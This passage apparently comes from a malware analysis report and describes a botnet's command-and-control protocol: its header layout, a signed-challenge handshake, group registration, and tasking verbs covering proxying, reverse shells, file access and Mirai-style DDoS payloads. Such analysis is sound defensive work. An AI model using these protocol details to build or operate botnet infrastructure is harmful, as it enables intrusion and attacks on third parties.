        Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
        Reserved uint8   // 0x01
        MsgType  uint8   // verb
        MsgID    uint32
        BodyLen  uint32
        CRC32    uint32
    }
    
  • Bootstrap: the bot sends two empty MsgType=0 (register) headers. The C2 replies with MsgType=1 (verify) containing a random challenge plus an ASN.1 DER ECDSA signature. Bots verify it against an embedded SubjectPublicKeyInfo blob; failures terminate the session, preventing hijacked/sinkholed C2 nodes from tasking the fleet.
  • Once verified, the bot sends a MsgType=0 body carrying the operator-defined group string (e.g. android-postboot-rt). If the group is enabled, the C2 responds with MsgType=2 (confirm), after which tasking (MsgType 5–12) begins.
  • Supported verbs include SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write, and Mirai-compatible DDoSBody payloads (same AtkType, Duration, Targets[], Flags[] layout).

References